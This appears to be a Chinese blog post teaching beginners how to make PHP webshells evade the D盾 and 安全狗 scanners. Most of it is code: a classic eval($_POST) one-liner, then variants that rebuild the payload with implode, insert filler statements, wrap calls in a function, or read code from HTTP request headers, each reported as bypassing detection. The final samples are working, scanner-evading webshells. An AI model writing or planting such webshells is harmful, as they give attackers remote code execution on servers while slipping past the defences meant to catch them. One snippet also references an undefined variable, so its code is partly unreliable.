webshell免杀入门

分享新手如何上手webshell免杀的思路

前言

看到QQ空间很多师傅都在晒某引擎的 webshell 免杀,心里还是有点摩拳擦掌的,但一直没有下定决心去尝试。一方面确实是没有信心,因为真的没有接触过,一方面还是最近很多事情影响了自己的心情,对自我能力有了否定心理。等到我想去试试的时候,引擎已经关了,活动结束了。所以这里只能找一下D盾和安全狗测试了。

bypass

这里我下载了最新版的D盾V2.1.6.2(2022-01-05)和网站安全狗V4.0,php版本为 7.4.27
首先,下面是经典的php一句话木马,当然这百分百会被检测到。

  1. <?php eval($_POST['dotast']);?>

这里我们可以看做两个输入变量,一个是函数,一个是参数。我个人认为,免杀webshell是对防护规则的 bypass,所以我们要了解对应的防护软件的规则。首先我们保持函数不变,将变量改为不敏感的字符串,看看eval的检测情况

  1. <?php eval("123dotast");?>


显然,D盾对于eval函数依然能检测到,我们换成其他能够代码执行的函数,这里举例assert

assert():如果 参数 是字符串,它将会被 assert() 当做 PHP 代码来执行。注意:从php7版本以后不支持动态调用

  1. <?php
  2. assert("123");
  3. ?>


依然能检测到,不过可以看见,不管是前面的evalassert函数,现在级别都是判定为1。这里我们开始把目光转向参数,尝试对参数内容进行处理

implode(strings $glue, array $pieces):将一个一维数组的值转化为字符串

  1. <?php
  2. function dotast(){
  3. $a = implode("",['p','h','p','i','n','f','o','(',')']);
  4. assert($a);
  5. }
  6. dotast();
  7. ?>

这里将参数内容分离,然后再重新组合

可以看见虽然还是能检测到,但是和之前的判定有区别,D盾已经无法识别出参数内容。进行到这里的时候,发现了一个有意思的事情,即再前面定义的变量和assert函数中间加一下内容,就能 bypass D盾的检测(同时还是因为加了一层自定义函数 dotast 的缘故)

  1. <?php
  2. function dotast(){
  3. $a = implode("",['p','h','p','i','n','f','o','(',')']);
  4. echo "666";
  5. assert($a);
  6. }
  7. dotast();
  8. ?>


所以,一个简单的 bypass D盾的webshell就出来了

  1. <?php
  2. function dotast(){
  3. $a = implode("",["e","v","a","l","(","$","_","P","O","S","T","[","'","a","'","]",")"]);
  4. assert($a);
  5. }
  6. dotast();
  7. ?>



网站安全狗也成功绕过(我感觉安全狗的规则比D盾弱很多……)

接下来,尝试其他姿势,依然是assert,这次我们配合其他函数,比如getallheaders()从请求头中获取参数内容

getallheaders():获取全部 HTTP 请求头信息,返回值为当前请求所有头信息的数组

  1. <?php
  2. $a = getallheaders();
  3. $b = $a['Dotast'];
  4. assert($d);
  5. ?>


检测级别为1,不过对参数内容未知,我们继续加入一些字符串尝试绕过,这里我的想法是添加一些能让D盾识别到的字符串来达到一种“欺骗”的效果

  1. <?php
  2. $a = getallheaders();
  3. $b = $a['Dotast'];
  4. $c = "123";
  5. $d = "${b}${c}";
  6. assert($d);
  7. ?>


成功绕过D盾的检测

总结

这篇文章也只是做一个 webshell 免杀的思路分享,技巧性的东西其实没什么。我觉得 webshell 免杀更多的其实是想法,对于一个waf的规则熟悉之后,就是开拓思路去思考和罗列出哪些利用点。

  • 发表于 2022-01-30 09:27:33
  • 阅读 ( 8501 )
  • 分类:WEB安全

0 条评论

dota_st
dota_st

9 篇文章

站长统计